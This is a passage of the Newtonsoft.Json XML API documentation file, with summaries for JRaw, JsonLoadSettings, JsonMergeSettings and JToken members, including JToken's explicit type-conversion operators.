name=\"value\">The new value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.ShouldSerializeValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted.\n            </summary>\n            <returns>\n            <c>true</c> if the property should be persisted; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"component\">The component with the property to be examined for persistence.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.ComponentType\">\n            <summary>\n            When overridden in a derived class, gets the type of the component this property is bound to.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Type\"/> that represents the type of component this property is bound to.\n            When the <see cref=\"M:System.ComponentModel.PropertyDescriptor.GetValue(System.Object)\"/> or\n            <see cref=\"M:System.ComponentModel.PropertyDescriptor.SetValue(System.Object,System.Object)\"/>\n            methods are invoked, the object specified might be an instance of this type.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.IsReadOnly\">\n            <summary>\n            When overridden in a derived class, gets a value indicating whether this property is read-only.\n            </summary>\n            <returns>\n            <c>true</c> if the property is read-only; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.PropertyType\">\n            <summary>\n            When overridden in a derived class, gets the type of the property.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Type\"/> that represents the type of the property.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.NameHashCode\">\n            <summary>\n            Gets the hash code for the name of the member.\n            </summary>\n            <value></value>\n            <returns>\n            The hash code for the name of the member.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JRaw\">\n            <summary>\n            Represents a raw JSON string.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.CreateAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.\n            </summary>\n            <param name=\"reader\">The reader.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(Newtonsoft.Json.Linq.JRaw)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class.\n            </summary>\n            <param name=\"rawJson\">The raw json.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.Create(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.\n            </summary>\n            <param name=\"reader\">The reader.</param>\n            <returns>An instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\">\n            <summary>\n            Specifies the settings used when loading JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonLoadSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.CommentHandling\">\n            <summary>\n            Gets or sets how JSON comments are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\" />.\n            </summary>\n            <value>The JSON comment handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.LineInfoHandling\">\n            <summary>\n            Gets or sets how JSON line info is handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\" />.\n            </summary>\n            <value>The JSON line info handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.DuplicatePropertyNameHandling\">\n            <summary>\n            Gets or sets how duplicate property names in JSON objects are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\" />.\n            </summary>\n            <value>The JSON duplicate property name handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\">\n            <summary>\n            Specifies the settings used when merging JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonMergeSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeArrayHandling\">\n            <summary>\n            Gets or sets the method used when merging JSON arrays.\n            </summary>\n            <value>The method used when merging JSON arrays.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeNullValueHandling\">\n            <summary>\n            Gets or sets how null value properties are merged.\n            </summary>\n            <value>How null value properties are merged.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.PropertyNameComparison\">\n            <summary>\n            Gets or sets the comparison used to match property names while merging.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <value>The comparison used to match property names while merging.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\">\n            <summary>\n            Specifies the settings used when selecting JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonSelectSettings.RegexMatchTimeout\">\n            <summary>\n            Gets or sets a timeout that will be used when executing regular expressions.\n            </summary>\n            <value>The timeout that will be used when executing regular expressions.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonSelectSettings.ErrorWhenNoMatch\">\n            <summary>\n            Gets or sets a flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </summary>\n            <value>\n            A flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Represents an abstract JSON token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteToAsync(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFromAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The\n            <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains \n            the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFromAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The\n            <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains \n            the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.EqualityComparer\">\n            <summary>\n            Gets a comparer that can compare two tokens for value equality.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\"/> that can compare two nodes for value equality.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Parent\">\n            <summary>\n            Gets or sets the parent.\n            </summary>\n            <value>The parent.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Root\">\n            <summary>\n            Gets the root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepEquals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Compares the values of two tokens, including the values of all descendant tokens.\n            </summary>\n            <param name=\"t1\">The first <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"t2\">The second <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns><c>true</c> if the tokens are equal; otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Next\">\n            <summary>\n            Gets the next sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the next sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Previous\">\n            <summary>\n            Gets the previous sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the previous sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Path\">\n            <summary>\n            Gets the path of the JSON token. \n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAfterSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately after this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added after this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddBeforeSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately before this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added before this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Ancestors\">\n            <summary>\n            Returns a collection of the ancestor tokens of this token.\n            </summary>\n            <returns>A collection of the ancestor tokens of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AncestorsAndSelf\">\n            <summary>\n            Returns a collection of tokens that contain this token, and the ancestors of this token.\n            </summary>\n            <returns>A collection of tokens that contain this token, and the ancestors of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AfterSelf\">\n            <summary>\n            Returns a collection of the sibling tokens after this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens after this tokens, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.BeforeSelf\">\n            <summary>\n            Returns a collection of the sibling tokens before this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens before this token, in document order.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Value``1(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key converted to the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to convert the token to.</typeparam>\n            <param name=\"key\">The token key.</param>\n            <returns>The converted token value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children``1\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order, filtered by the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to filter the child tokens on.</typeparam>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Remove\">\n            <summary>\n            Removes this token from its parent.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Replace(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Replaces this token with the specified token.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString\">\n            <summary>\n            Returns the indented JSON for this token.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            The indented JSON for this token.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString(Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Returns the JSON for this token using the given formatting and converters.\n            </summary>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n            <returns>The JSON for this token using the given formatting and converters.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Boolean\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTimeOffset\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Boolean}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTime}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTimeOffset}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Decimal}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Double}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Char}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Char\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.SByte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Byte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.SByte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTime\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            